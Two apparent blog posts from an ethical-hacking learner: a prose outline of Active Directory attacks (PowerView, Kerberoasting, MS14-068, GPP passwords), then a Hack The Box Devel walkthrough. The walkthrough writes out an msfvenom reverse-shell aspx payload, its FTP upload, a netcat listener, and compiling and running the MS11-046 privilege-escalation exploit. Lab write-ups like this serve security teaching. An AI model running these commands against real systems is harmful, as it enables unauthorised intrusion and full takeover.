Tag: privilege escalation

Outline of an attack to Active Directory

In this blog post, I sketch the chronological order of an attack to Active Directory.

I completed the Active Directory section on “Practical Ethical Hacking” by Heath Adams (aka The Cyber Mentor) and my brain was overwhelmed. He presented many great techniques and tools, but it wasn’t clear to me how a real attack to Active Directory (AD) looked like. This is the reason why I’m writing this blog post. This is my attempt to bring a bit of (chronological) order in an AD penetration test.

Sean Metcalf, an AD expert and blog writer on adsecurity.org, lists these steps as the outline of an attack on AD:

  1. Malware injection
  2. Post-compromise enumeration
  3. Credential theft
  4. Privilege escalation
  5. Data access & Exfiltration
  6. Persistence (Retaining access)

In this post, I will elaborate on points 2-4 based on my notes from the course. Here I will assume that we have access to a machine in the target domain already. In real life, a malicious actor could get control over such a machine with e.g., spear-phishing, which is a personalized campaign that targets single individuals within a company.

Post-compromise enumeration

The first step after getting inside the target network is to perform reconnaissance in order to discover useful resources to e.g., escalate permissions. What was surprising for me is that this can be done by a domain user, that is, a regular user with no admin rights.

One of the most famous tools to enumerate a domain is called PowerView (now PowerSploit). With this tool we can gather information about the domain we are attacking. For example, we can get to know the IP address of the domain controller(s) or enumerate the domain password policy. The latter is interesting because it lists the enforced minimum password length for the domain (among other things). Such information is useful for tuning a password spraying attack.

The highlight of post-compromise recon was the enumeration of the attributes for each computer on the domain, as this list also includes the Service Principal Names (SPNs), such as SQL servers or Exchange servers. Apparently, administrators often save passwords in the field “description” and make these services domain administrators as well. In such instances, we will not only have access to sensitive data but also control over the domain controller. Sweet!

Credential theft

Once we are finished with the recon of the domain, we can proceed to steal the credentials of the domain user on the infected machine. This will be useful for lateral movement. Firstly, we get hold of the hash using LLMNR poisoning and crack it offline. The stolen credentials can be used for a pass-the-password attack. If we cannot decrypt the hash, we can use it for a pass-the-hash attack, or an SMB relay attack.

Privilege escalation

Until now we have worked with a domain user. In this section, we will learn how to do privilege escalation on AD by tackling the following three techniques: getting passwords from SYSVOL, exploiting the MS14-068 vulnerability, and Kerberoasting.

The first option does not require any hacking tool, as any authenticated user has read access to the SYSVOL share. In this share, XML files – such as Groups.xml – are generated anytime a new Group Policy Preference (GPP) is created. Such a file contains the relevant configuration for the new GPP and (if there is a password) a password in the field “cPassword” that is encrypted with AES-256. This is a solid encryption algorithm that cannot be cracked easily. However, the AES encryption key was leaked and now anyone can decrypt the passwords. This vulnerability has been patched with a Knowledge Base (KB) which prevents new credentials from being placed in GPP. However, administrators still have to remove all existing GPP xml files in SYSVOL that contain passwords. If they forget to do so, we can easily decrypt the password with gpp-decrypt on Kali. If we are lucky, we may find some administrator passwords in that share.

The second option to do privilege escalation on unpatched machines is MS14-068. This exploit enables an attacker to re-write a valid Kerberos TGT authentication ticket to make them a domain admin. The exploit process is shown on the screenshot below which was taken from adsecurity.org:

The MS14-068 exploit process.

The third and last option to do privilege escalation presented in this blog post is called Kerberoasting. The goal of this attack is to crack a server account hash by misusing Kerberos, a network authentication protocol. This is possible because any domain user can get a service ticket without sending traffic to the target. In this exploit, the user first requests a TGT (ticket-granting ticket) to the domain controller by providing his/her NTLM hash. The domain controller sends back the TGT encrypted with the krbtgt hash. The user then sends a request for a TGS (ticket-granting service ticket) by presenting the new TGT. The domain controller sends back the TGS encrypted with the server account hash. Now we get hold of this hash and try to crack it with GetUserSPN.py. This attack is usually successful as service user accounts often have weak passwords.

A visualization of how Kerberos works. In a Kerberoasting attack, we utilize only the first four steps.

Impersonate the administrator when only having local admin rights on an end-point machine

This section will briefly introduce a technique called token impersonation which only works if the user has local admin rights. In this attack, our goal is to find an administrator token – that is, a temporary key that allows a user to access to a machine or network without having to provide credentials each time – on an end-point machine and use it to impersonate the administrator. By using Incognito on Metasploit, we can list the delegate tokens – that is, tokens that are created anytime a user logs on a machine (either locally or via RDP) – on the victim machine. If there are no such tokens on the present machine, we can move laterally via e.g., SMB relay attacks, until we found one with such tokens. By impersonating the administrator, we can steal its credentials and then get access to the domain controller.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!

How I became root on HTB Devel without Meterpreter

Heath Adams challenged his students to get root on HTB Devel without using Meterpreter. I accepted that challenge and succeeded! This is the report of how I did it.

Heath Adams challenged his students to become root on HTB Devel without using Meterpreter1. I accepted that challenge and succeeded! This is the report of how I did it.

In order to follow along you need a VIP subscription to Hack The Box (the monthly fee is 12 Euro at the moment), the HTB connection pack (download it from here) and Kali Linux (I’m using version 2020.3).

Create a Connection to the HTB Network

Refer to this post of mine.

Scanning and Enumeration

Open https://www.hackthebox.eu/home/machines and write down Devel’s IPv4 address. Here we can also see that this is a Windows machine.

We first scan the target machine in order to identify open ports and services running behind those ports.

nmap -A -T4 -p- 10.10.10.5

The scan shows that the machine has two open ports:

  • FTP (21): We notice that anonymous FTP login is allowed. This tells us that we can upload files to the web server. Moreover, we can see some files here as well. It seems like it is a web root directory.
  • HTTP (80): We learn that the http-server-header is Microsoft IIS/7.5. If this were a pentest, this would be a finding as this is information disclosure. Moreover, we also get to know that the http-title is IIS7. This indicates that we are dealing with a default web-page.

The first thing we do for this enumeration is visiting the website 10.10.10.5.

10.10.10.5 shows a default web-page.

As our scan suggested, we are dealing with a default web-page. A default web-page indicates poor hygiene. What else did the website developer mess up? We look for extra directories by doing directory busting with DirBuster.

We brute-force directories on http://10.10.10.5:80 with DirBuster. We use the small list of lowercase words provided by Kali in /usr/share/wordlists/dirbuster and we look for asm, asmx, asp, aspx, txt, zip, bak, rar files.

DirBuster does not return anything interesting. The next step is to understand if we can execute files uploaded via FTP on the target. In order to do this, we first create a text file called test.txt on our Kali machine in which we write “test FTP”. Then, we connect to the target via FTP and upload this file. Now we navigate to 10.10.10.5/test.txt in the web-browser. Wow! We can see “test FTP” being displayed. This means that the server read our file and executed it.

Create test.txt with content “test FTP” on your Kali machine. Now enter the following commands in the Kali terminal (> separates the commands): ftp 10.10.10.5 > (enter username) anonymous > (enter password) anonymous > put test.txt . Then navigate to 10.10.10.5/test.txt and press Enter.

Exploit Devel with a Windows payload

In this section, our goal is to get a reverse shell through FTP. Firstly, we will create a Windows payload with Msfvenom2 and save it into an aspx file. Then we will upload this file to the Devel machine via FTP and, after having set up a listener with Netcat, execute it.

We save the Msfvenom payload list into venom-payloads.txt and grep this file for windows/shell3 payloads.

msfvenom -l payloads > venom-payloads.txt ; grep windows/shell venom-payloads.txt

There are two payloads that are interesting for us: windows/shell/reverse_tcp and windows/shell_reverse_tcp. The first is a staged payload, whereas the second is a non-staged payload. The difference between the two is well-explained in this table:

This table was taken from Heath Adams’s “Practical Ethical Hacking”.

The staged payload did not get me in. For this reason, I will show you how to get a reverse shell by using the non-staged payload.

We create the payload and save it into ex_shell_ns.aspx :

msfvenom -p windows/shell_reverse_tcp LHOST=<Your IPv4 address> LPORT=4444 -f aspx > ex_shell_ns.aspx

We then load this file to the Devel Machine via FTP:

ftp 10.10.10.5

anonymous (This is the username)

anonymous (This is the password)

binary (Set the transfer type: Binary instead of ASCII)

put ex_shell_ns.aspx

We also open a new terminal tab and set up a listener with Netcat, where -n stands for numeric-only IP addresses, -v for verbose, -l for listen mode for inbound connects, and -p for local port number (in this case, port 4444):

nc -nvlp 4444

Finally, we open 10.10.10.5/ex_shell_ns.aspx in our browser and we get a shell!

After running our payload on the website server, we get a shell on the target machine. However, we are not root.

Unfortunately, we are not root on this machine yet.

Post-exploit enumeration and Windows privilege-escalation

In this section, our goal is to become root on the target machine. This action is called privilege-escalation, as we have a non-root shell already. Before running this attack, we need to do post-exploit enumeration in order to find a working exploit for this specific machine.

First, we get some information on the target machine.

findstr /B /C:”OS Name” /C:”OS Version” /C:”System Type”

This is a Windows 7 machine (version 6.1.7600) with x86 architecture. Let’s google “windows 7 (6.1 build 7600) exploit”. Among the results, this exploit is the most interesting: “An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM privileges).” The only prerequisite is “low privilege access to the target OS”. No problem, we have this already. Let’s go ahead and use it.

We download the C source code to our Kali machine and save it as MS11-046.c and compile it as a 32-bit payload with mingw4:

i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32

Now we have to make MS11-046.exe accessible on the target machine. To do this, we launch an smbserver with Python on Kali:

mkdir smb

cp /usr/share/windows-resources/binaries/nc.exe smb/

mv MS11-046.exe smb/

smbserver.py share smb

We successfully started an smbserver with Python.

Now we go back to our shell on the target and run MS11-046.exe :

We run \\<Your IPv4 address>\share\MS11-046.exe on the target and we become root.

We are now the root user on the machine Devel! Now you just have to find the two flags for users root and babis. I leave this task as a challenge for you.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!